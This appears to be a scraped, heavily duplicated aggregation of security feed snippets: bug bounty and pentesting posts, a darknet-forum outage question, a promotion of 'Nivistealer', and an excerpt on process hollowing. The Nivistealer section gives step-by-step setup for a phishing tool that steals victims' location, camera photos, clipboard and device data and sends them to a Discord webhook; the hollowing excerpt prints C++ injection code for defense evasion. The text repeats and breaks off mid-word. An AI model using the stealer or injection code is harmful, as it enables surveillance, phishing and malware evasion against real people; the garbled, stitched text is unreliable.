Програма ImmuneFi Bug Bounty має на меті посилити безпеку Euler, одночасно посилюючи співпрацю з більшою екосистемою DeFi в рамках нашого…Continue reading on Medium » (https://medium.com/@veralaveraaa/euler-%D0%B7%D0%B0%D0%BF%D1%83%D1%81%D0%BA%D0%B0%D1%94-%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D1%83-immunefi-bug-bounty-%D0%BD%D0%B0-%D1%81%D1%83%D0%BC%D1%83-1-%D0%BC%D1%96%D0%BB%D1%8C%D0%B9%D0%BE%D0%BD-%D0%B4%D0%BE%D0%BB%D0%B0%D1%80%D1%96%D0%B2-303d291facee?source=rss------bug_bounty-5)
Tarrask malware uses scheduled tasks for defense evasion
https://www.reddit.com/r/redteamsec/comments/u24xog/tarrask_malware_uses_scheduled_tasks_for_defense/
submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/TarraskMalwareDART) [comments] (https://www.reddit.com/r/redteamsec/comments/u24xog/tarrask_malware_uses_scheduled_tasks_for_defense/)
https://www.reddit.com/r/redteamsec/comments/u24xog/tarrask_malware_uses_scheduled_tasks_for_defense/
submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/TarraskMalwareDART) [comments] (https://www.reddit.com/r/redteamsec/comments/u24xog/tarrask_malware_uses_scheduled_tasks_for_defense/)
Hacking Articles Tips Tricks Videos Tutorials
Photo
Kali Linux Tutorials
Nivistealer : Steal Victim Images Exact Location Device Info And Much More
Nivistealer is a tool to Steal Victim Images Exact Location Device Info And Much More.
Features
* Steal Victim Ip
* Steal Device Info
* Steal Network and Battery Info
* Uses Device Gps to steal exact location
* Steal pic from front camera
* Steal text from victim clipboard (added recently)
* Send logs to discord also save them locally in a txt file
* Works on android, windows,linux,mac os
* Uses iframe to load live website to make phishing attack more reliable
How to use?
Method 0
* Click the above button or click here to run on
* Login/Signup on repl.it
* After it clones the repo edit this line with your repl url
* Now click Run
Method 1
* Clone or Download this repo
* Create a account on any webhosting site that provide ssl . I suggest a free webhosting site called
* Now upload
* Now open index.html and replace this with your
* Boom !!! . Now send the phishing link to your victim . Logs will be send to your discord webhook and also saved to
Method 2
* Clone the repo and navigate to
* open your terminal and type
* Now edit this line with your url
* Now type
* Images and log file will be saved locally on your directory
Donate
* BTC
bc1q37nqagapyt7nnu38p4pqu4hq2xgmumwklzn24l
* ETH
0xF3eBc9bA1bCD30C3efbAd298A73663691F4DB803
Download
Nivistealer : Steal Victim Images Exact Location Device Info And Much More
Nivistealer is a tool to Steal Victim Images Exact Location Device Info And Much More.
Features
* Steal Victim Ip
* Steal Device Info
* Steal Network and Battery Info
* Uses Device Gps to steal exact location
* Steal pic from front camera
* Steal text from victim clipboard (added recently)
* Send logs to discord also save them locally in a txt file
* Works on android, windows,linux,mac os
* Uses iframe to load live website to make phishing attack more reliable
How to use?
Method 0
* Click the above button or click here to run on
repl.it* Login/Signup on repl.it
* After it clones the repo edit this line with your repl url
* Now click Run
Method 1
* Clone or Download this repo
* Create a account on any webhosting site that provide ssl . I suggest a free webhosting site called
000webhost.com* Now upload
index.html,sunni.php,post.phpon your webhosting site* Now open index.html and replace this with your
discord webhook url* Boom !!! . Now send the phishing link to your victim . Logs will be send to your discord webhook and also saved to
sensitiveinfo.txtfileMethod 2
* Clone the repo and navigate to
python_flaskdirectory* open your terminal and type
pip3 install coloramapip3 install flask* Now edit this line with your url
* Now type
python nivistealer.pyBoom !!!* Images and log file will be saved locally on your directory
Donate
* BTC
bc1q37nqagapyt7nnu38p4pqu4hq2xgmumwklzn24l
* ETH
0xF3eBc9bA1bCD30C3efbAd298A73663691F4DB803
Download
Deep Web
Dread down for anyone else?
Ive tried both dark.fail and tor.taxi and sm getting the same error screen each time. Havent these sites updated their links to V3 yet? I would think so. I dont know any other safeish clearnet sites that are reputable for links. I tried other links like nitter and got in just fine. Is this just a dread thing?
submitted by /u/findingmewanahelp909
[link] [comments]
Dread down for anyone else?
Ive tried both dark.fail and tor.taxi and sm getting the same error screen each time. Havent these sites updated their links to V3 yet? I would think so. I dont know any other safeish clearnet sites that are reputable for links. I tried other links like nitter and got in just fine. Is this just a dread thing?
submitted by /u/findingmewanahelp909
[link] [comments]
reddit
Dread down for anyone else?
Ive tried both dark.fail and tor.taxi and sm getting the same error screen each time. Havent these sites updated their links to V3 yet? I would...
Hacking on Medium
Lab: Reflected XSS into HTML context with all tags blocked except custom ones — Portswigger Lab
https://cdn-images-1.medium.com/max/918/1*57xjsfavhFFN6qPSZ2WHQA.png
Portswigger XSS lab
Continue reading on Medium »
Lab: Reflected XSS into HTML context with all tags blocked except custom ones — Portswigger Lab
https://cdn-images-1.medium.com/max/918/1*57xjsfavhFFN6qPSZ2WHQA.png
Portswigger XSS lab
Continue reading on Medium »
Medium
Lab: Reflected XSS into HTML context with all tags blocked except custom ones — Portswigger Lab
Portswigger XSS lab
Compromise domain with NoPac exploit
During the last pentesting in client infra, we compromised a domain with CVE-2021–42287/CVE-2021–42278(noPac) exploits.Continue reading on Medium »
Read more...
During the last pentesting in client infra, we compromised a domain with CVE-2021–42287/CVE-2021–42278(noPac) exploits.Continue reading on Medium »
Read more...
Compromise domain with NoPac exploit
https://medium.com/@5L1V3R/compromise-domain-with-nopac-exploit-f759b670fab1?source=rss------bug_bounty-5
https://medium.com/@5L1V3R/compromise-domain-with-nopac-exploit-f759b670fab1?source=rss------bug_bounty-5
During the last pentesting in client infra, we compromised a domain with CVE-2021–42287/CVE-2021–42278(noPac) exploits.Continue reading on Medium » (https://medium.com/@5L1V3R/compromise-domain-with-nopac-exploit-f759b670fab1?source=rss------bug_bounty-5)
Sizing a Penetration Test | Costs & Correct Scoping
https://www.reddit.com/r/Pentesting/comments/u25l81/sizing_a_penetration_test_costs_correct_scoping/
<!-- SC_OFF -->How do you engage properly with a customer and define a good scope for a penetration test? Lets imagine a customer wants you to perform an internal penetration test. The customer has 5 Networks with round about 600 Assets living in there. How do you size this`? Going through every possible host and checking them individually will take so long, no one wants to pay it. However if you scope out only 20 critical Assets, you may loose interesting and really impactful critical attack paths to validate and visualize for the customer. For example if you have a strict scope for 20 assets, you can't leverage kerberoasting to escalate and move lateral with new gained privileges. TLDR; I am struggling in scoping correctly with the customer, as well as defining time to account. Do you use simple rules like "10 Systems per Day" and charge days for each 10 Systems? (Example). <!-- SC_ON --> submitted by /u/larryxt (https://www.reddit.com/user/larryxt)
[link] (https://www.reddit.com/r/Pentesting/comments/u25l81/sizing_a_penetration_test_costs_correct_scoping/) [comments] (https://www.reddit.com/r/Pentesting/comments/u25l81/sizing_a_penetration_test_costs_correct_scoping/)
https://www.reddit.com/r/Pentesting/comments/u25l81/sizing_a_penetration_test_costs_correct_scoping/
<!-- SC_OFF -->How do you engage properly with a customer and define a good scope for a penetration test? Lets imagine a customer wants you to perform an internal penetration test. The customer has 5 Networks with round about 600 Assets living in there. How do you size this`? Going through every possible host and checking them individually will take so long, no one wants to pay it. However if you scope out only 20 critical Assets, you may loose interesting and really impactful critical attack paths to validate and visualize for the customer. For example if you have a strict scope for 20 assets, you can't leverage kerberoasting to escalate and move lateral with new gained privileges. TLDR; I am struggling in scoping correctly with the customer, as well as defining time to account. Do you use simple rules like "10 Systems per Day" and charge days for each 10 Systems? (Example). <!-- SC_ON --> submitted by /u/larryxt (https://www.reddit.com/user/larryxt)
[link] (https://www.reddit.com/r/Pentesting/comments/u25l81/sizing_a_penetration_test_costs_correct_scoping/) [comments] (https://www.reddit.com/r/Pentesting/comments/u25l81/sizing_a_penetration_test_costs_correct_scoping/)
Hacking Articles Tips Tricks Videos Tutorials
Photo
hacking: security in practice
Let’s start a Discussion. Nessus or OpenVas for vulnerability scanning?
Just picking y’all’s brains to see what vuln scanning programs you are using.
submitted by /u/H00L1GAN007
[link] [comments]
Let’s start a Discussion. Nessus or OpenVas for vulnerability scanning?
Just picking y’all’s brains to see what vuln scanning programs you are using.
submitted by /u/H00L1GAN007
[link] [comments]
reddit
Let’s start a Discussion. Nessus or OpenVas for vulnerability...
Just picking y’all’s brains to see what vuln scanning programs you are using.
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking Articles
Defense Evasion: Process Hollowing (Mitre:T1055.012)
IntroductionIn July 2011, John Leitch of autosectools.com talked about a technique he called process hollowing in his whitepaper here. Ever since then, many malware campaigns like Bandook and Ransom.Cryak, and various APTs have utilized Process Hollowing for defense evasion and privilege escalation. In this article, we aim to discuss the technical concepts utilized behind the technique in an easy to comprehend manner and demonstrate a ready to go tool that can perform Process Hollowing in a portable manner.
MITRE TACTIC: Defense Evasion (TA0005) and Privilege Escalation (TA0004)
MITRE Technique ID: Process Injection (T1055)
MITRE SUB ID: Process Hollowing (T1055.012) Table of content* Pre-Requisites
* Process Hollowing
* Demonstration 1: PoC
* Demonstration 2: PoC
* Demonstration 3: Real Time Exploit
* Conclusion Pre-RequisitesOne must be aware of the following requirements in order to fully understand the process discussed:
* C/C++/C# with Win32 API coding
* Registers, PEB, Memory management in Windows OS
* Debugging code Process HollowingFundamental concept is quite straightforward. In the process hollowing code injection technique, an attacker creates a new process in a suspended state, its image is then unmapped (hollowed) from the memory, a malicious binary gets written instead and finally, the program state is resumed which executes the injected code. Workflow of the technique is:
Step 1: Creating a new process in a suspended state:
* CreateProcessA() with CREATE_SUSPENDED flag set
Step 2: Swap out its memory contents (unmapping/hollowing):
* NtUnmapViewOfSection()
Step 3: Input malicious payload in this unmapped region:
* VirtualAllocEx : To allocate new memory
* WriteProcessMemory() : To write each of malware sections to target the process space
Step 4: Setting EAX to the entrypoint:
* SetThreadContext()
Step 5: Start the suspended thread:
* ResumeThread()
Programmatically speaking, in the original code, the following code was used to demonstrate the same which is explained below
Step 1: Creating a new process
An adversary first creates a new process. To create a benign process in suspended mode the functions are used:
* CreateProcessA() and flag CREATE_SUSPENDED
Following code, snippet is taken from the original source here. An explanation is as follows:
* pStartupInfo is the pointer to the STARTUPINFO structure which specifies the appearance of the window at creation time
* pProcessInfo is the pointer to the PROCESS_INFORMATION structure that contains details about a process and its main thread. It returns a handle called hProcess which can be used to modify the memory space of the process created.
* These two pointers are required by CreateProcessA function to create a new process.
* CreateProcessA creates a new process and its primary thread and inputs various different flags. One such flag being the CREATE_SUSPENDED. This creates a process in a suspended state. For more details on this structure, refer here.
* If the process creation fails, function returns 0.
* Finally, if the pProcessInfo pointer doesn’t return a handle, means the process hasn’t been created and the code ends.
printf("Creating process\r\n");
LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
CreateProcessA
(
0,
pDestCmdLine,
0,
0,
0,
CREATE_SUSPENDED,
0,
0,
pStartupInfo,
pProcessInfo
);
if (!pProcessInfo->hProcess)
{
printf("Error creating process\r\n");
return;
}
Step 2: Information Gathering
* Read the base address of the created process
We hav[...]
Defense Evasion: Process Hollowing (Mitre:T1055.012)
IntroductionIn July 2011, John Leitch of autosectools.com talked about a technique he called process hollowing in his whitepaper here. Ever since then, many malware campaigns like Bandook and Ransom.Cryak, and various APTs have utilized Process Hollowing for defense evasion and privilege escalation. In this article, we aim to discuss the technical concepts utilized behind the technique in an easy to comprehend manner and demonstrate a ready to go tool that can perform Process Hollowing in a portable manner.
MITRE TACTIC: Defense Evasion (TA0005) and Privilege Escalation (TA0004)
MITRE Technique ID: Process Injection (T1055)
MITRE SUB ID: Process Hollowing (T1055.012) Table of content* Pre-Requisites
* Process Hollowing
* Demonstration 1: PoC
* Demonstration 2: PoC
* Demonstration 3: Real Time Exploit
* Conclusion Pre-RequisitesOne must be aware of the following requirements in order to fully understand the process discussed:
* C/C++/C# with Win32 API coding
* Registers, PEB, Memory management in Windows OS
* Debugging code Process HollowingFundamental concept is quite straightforward. In the process hollowing code injection technique, an attacker creates a new process in a suspended state, its image is then unmapped (hollowed) from the memory, a malicious binary gets written instead and finally, the program state is resumed which executes the injected code. Workflow of the technique is:
Step 1: Creating a new process in a suspended state:
* CreateProcessA() with CREATE_SUSPENDED flag set
Step 2: Swap out its memory contents (unmapping/hollowing):
* NtUnmapViewOfSection()
Step 3: Input malicious payload in this unmapped region:
* VirtualAllocEx : To allocate new memory
* WriteProcessMemory() : To write each of malware sections to target the process space
Step 4: Setting EAX to the entrypoint:
* SetThreadContext()
Step 5: Start the suspended thread:
* ResumeThread()
Programmatically speaking, in the original code, the following code was used to demonstrate the same which is explained below
Step 1: Creating a new process
An adversary first creates a new process. To create a benign process in suspended mode the functions are used:
* CreateProcessA() and flag CREATE_SUSPENDED
Following code, snippet is taken from the original source here. An explanation is as follows:
* pStartupInfo is the pointer to the STARTUPINFO structure which specifies the appearance of the window at creation time
* pProcessInfo is the pointer to the PROCESS_INFORMATION structure that contains details about a process and its main thread. It returns a handle called hProcess which can be used to modify the memory space of the process created.
* These two pointers are required by CreateProcessA function to create a new process.
* CreateProcessA creates a new process and its primary thread and inputs various different flags. One such flag being the CREATE_SUSPENDED. This creates a process in a suspended state. For more details on this structure, refer here.
* If the process creation fails, function returns 0.
* Finally, if the pProcessInfo pointer doesn’t return a handle, means the process hasn’t been created and the code ends.
printf("Creating process\r\n");
LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
CreateProcessA
(
0,
pDestCmdLine,
0,
0,
0,
CREATE_SUSPENDED,
0,
0,
pStartupInfo,
pProcessInfo
);
if (!pProcessInfo->hProcess)
{
printf("Error creating process\r\n");
return;
}
Step 2: Information Gathering
* Read the base address of the created process
We hav[...]
Hacking Articles Tips Tricks Videos Tutorials
Hacking Articles Defense Evasion: Process Hollowing (Mitre:T1055.012) IntroductionIn July 2011, John Leitch of autosectools.com talked about a technique he called process hollowing in his whitepaper here. Ever since then, many malware campaigns like Bandook…
e to know the base address of the created process so that we can use this to copy this memory block to the created process’ memory block later. This can be done using:
NtQueryProcessInformation + ReadProcessMemory
Also, can be done easily using a single function:
ReadRemotePEB(pProcessInfo->hProcess) PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
* Read the NT Headers format (from the PE structure) from the PEB’s image address.
This is essential as it contains information related to OS which is needed in further code. This can be done using ReadRemoteImage(). pImage is a pointer to hProcess handle and ImageBaseAddress.
PLOADED_IMAGE pImage = ReadRemoteImage
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);
Step 3: Unmapping (hollowing) and swapping the memory contents
* Unmapping
After obtaining the NT headers, we can unmap the image from memory.
* Get a handle of NTDLL, a file containing Windows Kernel Functions
* HMODULE obtains a handle hNTDLL that points to NTDLL’s base address using GetModuleHandleA()
* GetProcAddress() takes input of NTDLL
* handle to ntdll that contains the “NtUnmapViewOfSection” variable name stored in the specified DLL
* Create NtUnmapViewOfSection variable which carves out process from the memory
printf("Unmapping destination section\r\n");
HMODULE hNTDLL = GetModuleHandleA("ntdll");
FARPROC fpNtUnmapViewOfSection = GetProcAddress
(
hNTDLL,
"NtUnmapViewOfSection"
);
_NtUnmapViewOfSection NtUnmapViewOfSection =
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
DWORD dwResult = NtUnmapViewOfSection
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);
* Swapping memory contents
Now we have to map a new block of memory for source image. Here, a malware would be copied to a new block of memory. For this we need to provide:
* A handle to process,
* Base address,
* Size of the image,
* Allocation type-> here, MEM_COMMIT | MEM_RESERVE means we demanded and reserved a particular contiguous block of memory pages
* Memory protection constant. Read here. PAGE_EXECUTE_READWRITE -> enables RWX on the committed memory block.
PVOID pRemoteImage = VirtualAllocEx
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress,
pSourceHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
Step 4: Copy this new block of memory (malware) to the suspended process memory
Here, section by section, our new block of memory (pSectionDestination) is being copied to the process memory’s (pSourceImage) virtual address
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
if (!pSourceImage->Sections[x].PointerToRawData)
continue;
PVOID pSectionDestination = (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress);
}
Step 5: Rebasing the source image
Since the source image was loaded to a different ImageBaseAddress than the destination process, it needs to be rebased in order for the binary to resolve addresses of static variables and other absolute addresses properly. The way the windows loader knows how to patch the images in memory is by referring to a relocation table residing in the binary.
for (DWORD y = 0; y < dwEntryCount; y++)
{
dwOffset += sizeof(BASE_RELOCATION_ENTRY);
if (pBlocks[y].Type == 0)
continue;
DWORD dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset;
DWORD dwBuffer = 0;
ReadProcessMemory
(
pProcessInfo->hProcess,
(PVOID)((D[...]
NtQueryProcessInformation + ReadProcessMemory
Also, can be done easily using a single function:
ReadRemotePEB(pProcessInfo->hProcess) PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
* Read the NT Headers format (from the PE structure) from the PEB’s image address.
This is essential as it contains information related to OS which is needed in further code. This can be done using ReadRemoteImage(). pImage is a pointer to hProcess handle and ImageBaseAddress.
PLOADED_IMAGE pImage = ReadRemoteImage
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);
Step 3: Unmapping (hollowing) and swapping the memory contents
* Unmapping
After obtaining the NT headers, we can unmap the image from memory.
* Get a handle of NTDLL, a file containing Windows Kernel Functions
* HMODULE obtains a handle hNTDLL that points to NTDLL’s base address using GetModuleHandleA()
* GetProcAddress() takes input of NTDLL
* handle to ntdll that contains the “NtUnmapViewOfSection” variable name stored in the specified DLL
* Create NtUnmapViewOfSection variable which carves out process from the memory
printf("Unmapping destination section\r\n");
HMODULE hNTDLL = GetModuleHandleA("ntdll");
FARPROC fpNtUnmapViewOfSection = GetProcAddress
(
hNTDLL,
"NtUnmapViewOfSection"
);
_NtUnmapViewOfSection NtUnmapViewOfSection =
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
DWORD dwResult = NtUnmapViewOfSection
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);
* Swapping memory contents
Now we have to map a new block of memory for source image. Here, a malware would be copied to a new block of memory. For this we need to provide:
* A handle to process,
* Base address,
* Size of the image,
* Allocation type-> here, MEM_COMMIT | MEM_RESERVE means we demanded and reserved a particular contiguous block of memory pages
* Memory protection constant. Read here. PAGE_EXECUTE_READWRITE -> enables RWX on the committed memory block.
PVOID pRemoteImage = VirtualAllocEx
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress,
pSourceHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
Step 4: Copy this new block of memory (malware) to the suspended process memory
Here, section by section, our new block of memory (pSectionDestination) is being copied to the process memory’s (pSourceImage) virtual address
for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
if (!pSourceImage->Sections[x].PointerToRawData)
continue;
PVOID pSectionDestination = (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress);
}
Step 5: Rebasing the source image
Since the source image was loaded to a different ImageBaseAddress than the destination process, it needs to be rebased in order for the binary to resolve addresses of static variables and other absolute addresses properly. The way the windows loader knows how to patch the images in memory is by referring to a relocation table residing in the binary.
for (DWORD y = 0; y < dwEntryCount; y++)
{
dwOffset += sizeof(BASE_RELOCATION_ENTRY);
if (pBlocks[y].Type == 0)
continue;
DWORD dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset;
DWORD dwBuffer = 0;
ReadProcessMemory
(
pProcessInfo->hProcess,
(PVOID)((D[...]